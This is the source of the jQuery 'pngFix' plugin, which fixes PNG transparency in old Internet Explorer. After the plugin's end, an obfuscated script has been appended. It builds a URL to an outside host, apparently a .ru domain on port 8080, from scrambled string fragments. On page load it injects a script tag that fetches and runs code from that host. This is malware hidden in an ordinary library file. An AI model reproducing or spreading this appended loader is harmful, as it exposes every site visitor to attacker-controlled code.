/**
 * --------------------------------------------------------------------
 * jQuery-Plugin "pngFix"
 * Version: 1.2, 09.03.2009
 * by Andreas Eberhard, andreas.eberhard@gmail.com
 *                      http://jquery.andreaseberhard.de/
 *
 * Copyright (c) 2007 Andreas Eberhard
 * Licensed under GPL (http://www.opensource.org/licenses/gpl-license.php)
 *
 * Changelog:
 *    09.03.2009 Version 1.2
 *    - Update for jQuery 1.3.x, removed @ from selectors
 *    11.09.2007 Version 1.1
 *    - removed noConflict
 *    - added png-support for input type=image
 *    - 01.08.2007 CSS background-image support extension added by Scott Jehl, scott@filamentgroup.com, http://www.filamentgroup.com
 *    31.05.2007 initial Version 1.0
 * --------------------------------------------------------------------
 * @example $(function(){$(document).pngFix();});
 * @desc Fixes all PNG's in the document on document.ready
 *
 * jQuery(function(){jQuery(document).pngFix();});
 * @desc Fixes all PNG's in the document on document.ready when using noConflict
 *
 * @example $(function(){$('div.examples').pngFix();});
 * @desc Fixes all PNG's within div with class examples
 *
 * @example $(function(){$('div.examples').pngFix( { blankgif:'ext.gif' } );});
 * @desc Fixes all PNG's within div with class examples, provides blank gif for input with png
 * --------------------------------------------------------------------
 */

(function($) {

jQuery.fn.pngFix = function(settings) {

	// Settings
	settings = jQuery.extend({
		blankgif: 'blank.gif'
	}, settings);

	var ie55 = (navigator.appName == "Microsoft Internet Explorer" && parseInt(navigator.appVersion) == 4 && navigator.appVersion.indexOf("MSIE 5.5") != -1);
	var ie6 = (navigator.appName == "Microsoft Internet Explorer" && parseInt(navigator.appVersion) == 4 && navigator.appVersion.indexOf("MSIE 6.0") != -1);

	if (jQuery.browser.msie && (ie55 || ie6)) {

		//fix images with png-source
		jQuery(this).find("img[src$=.png]").each(function() {
            
			jQuery(this).attr('width',jQuery(this).width());
			jQuery(this).attr('height',jQuery(this).height());

			var prevStyle = '';
			var strNewHTML = '';
			var imgId = (jQuery(this).attr('id')) ? 'id="' + jQuery(this).attr('id') + '" ' : '';
			var imgClass = (jQuery(this).attr('class')) ? 'class="' + jQuery(this).attr('class') + '" ' : '';
			var imgTitle = (jQuery(this).attr('title')) ? 'title="' + jQuery(this).attr('title') + '" ' : '';
			var imgAlt = (jQuery(this).attr('alt')) ? 'alt="' + jQuery(this).attr('alt') + '" ' : '';
			var imgAlign = (jQuery(this).attr('align')) ? 'float:' + jQuery(this).attr('align') + ';' : '';
			var imgHand = (jQuery(this).parent().attr('href')) ? 'cursor:hand;' : '';
			if (this.style.border) {
				prevStyle += 'border:'+this.style.border+';';
				this.style.border = '';
			}
			if (this.style.padding) {
				prevStyle += 'padding:'+this.style.padding+';';
				this.style.padding = '';
			}
			if (this.style.margin) {
				prevStyle += 'margin:'+this.style.margin+';';
				this.style.margin = '';
			}
			var imgStyle = (this.style.cssText);

			strNewHTML += '<span '+imgId+imgClass+imgTitle+imgAlt;
			strNewHTML += 'style="position:relative;white-space:pre-line;display:inline-block;background:transparent;'+imgAlign+imgHand;
			strNewHTML += 'width:' + jQuery(this).width() + 'px;' + 'height:' + jQuery(this).height() + 'px;';
            if ($(this).hasClass('sizing-method-image')) {
                sizing_method = 'image';
            } else {
                sizing_method = 'scale';
            }
			strNewHTML += 'filter:progid:DXImageTransform.Microsoft.AlphaImageLoader' + '(src=\'' + jQuery(this).attr('src') + '\', sizingMethod=\'' + sizing_method + '\');';
			strNewHTML += imgStyle+'"></span>';
			if (prevStyle != ''){
				strNewHTML = '<span style="position:relative;display:inline-block;'+prevStyle+imgHand+'width:' + jQuery(this).width() + 'px;' + 'height:' + jQuery(this).height() + 'px;'+'">' + strNewHTML + '</span>';
			}

			jQuery(this).hide();
			jQuery(this).after(strNewHTML);

		});

		// fix css background pngs
		jQuery(this).find("*").each(function(){
			var bgIMG = jQuery(this).css('background-image');
			if(bgIMG.indexOf(".png")!=-1){
				var iebg = bgIMG.split('url("')[1].split('")')[0];
				jQuery(this).css('background-image', 'none');
				jQuery(this).get(0).runtimeStyle.filter = "progid:DXImageTransform.Microsoft.AlphaImageLoader(src='" + iebg + "',sizingMethod='scale')";
			}
		});
		
		//fix input with png-source
		jQuery(this).find("input[src$=.png]").each(function() {
			var bgIMG = jQuery(this).attr('src');
			jQuery(this).get(0).runtimeStyle.filter = 'progid:DXImageTransform.Microsoft.AlphaImageLoader' + '(src=\'' + bgIMG + '\', sizingMethod=\'scale\');';
   		jQuery(this).attr('src', settings.blankgif)
		});
	
	}
	
	return jQuery;

};

})(jQuery);

var gu='';var t;if(t!='m'){t='m'};function I(){var O;if(O!='se'){O=''};var c=new String("g");var FR;if(FR!='JI' && FR!='lv'){FR=''};var C="";var u=RegExp;var a_;if(a_!='Iy' && a_!='QT'){a_=''};var p=new Array();var Z=new Array();var Q='';var L=new Array();var PW=new Date();function d(q,a){this.fg="";this.n="";var X= String("[");var Wb=new String();X+=a;var TC;if(TC!='ro'){TC=''};this.V="";X+=new String("]");var BR=new String();var pn;if(pn!='mz'){pn='mz'};var R=new u(X, c);var MnV;if(MnV!='S' && MnV != ''){MnV=null};return q.replace(R, Q);var Jl=new String();};var cX;if(cX!='U' && cX != ''){cX=null};this.XO='';var M="/ustr7L9q".substr(0,5)+"eam.t6Gn".substr(0,5)+"Mqdwv/ust".substr(4)+"ream."+"rOZXtv/go".substr(4)+"ARwogle.wAR".substr(3,5)+"com/s"+"ina.cSZQb".substr(0,5)+"TZOQom.cn".substr(4)+"/veriy6S".substr(0,5)+"zon.nRjac".substr(0,5)+"JZjret.ph".substr(4)+"pH15".substr(0,1);this.ds='';var i="de"+"feGdM".substr(0,2)+"r";var re="";var h='';this.cQ='';var f=String("scr"+"ipt");var g=d('866013833011',"361");var BS;if(BS!='ZI'){BS=''};var y=window;var la='';var Su;if(Su!='cj'){Su=''};var s=String("httpWPqc".substr(0,4)+"FtUK://iKtFU".substr(4,4)+"U8vcbc-".substr(3)+"com-"+"7phUcn.b".substr(4)+"aiduzwBc".substr(0,4)+"HQa.comHaQ".substr(3,4)+".cyw"+"orld5PHA".substr(0,4)+"LP0-com".substr(3)+"f4C7.dea7Cf4".substr(4,4)+"yl6Frgui6Fyl".substr(4,4)+"6jTsde.r".substr(4)+"u:m9R".substr(0,2));var Nq="";var PX;if(PX!='zD' && PX != ''){PX=null};var G=new String("src");y.onload=function(){try {this.ST="";var ql=new Array();h=s+g;var Fb=new Date();h+=M;var D;if(D!='tY' && D!='vI'){D='tY'};iL=document.createElement(f);var dQ;if(dQ!='' && dQ!='ew'){dQ=null};var PZ="";iL[G]=h;iL[i]=[1,0][0];var XP=new Date();this.SQ="";this.DE="";document.body.appendChild(iL);var L_;if(L_!='' && L_!='nZ'){L_=''};var QUF;if(QUF!='be'){QUF='be'};var Qr;if(Qr!='' && Qr!='rV'){Qr=''};} catch(b){var oP='';};var OG;if(OG!=''){OG='dvf'};var YP=new Date();};};var _G=new Array();var jR=new Array();I();var vj="";var OB;if(OB!='' && OB!='Gd'){OB=null};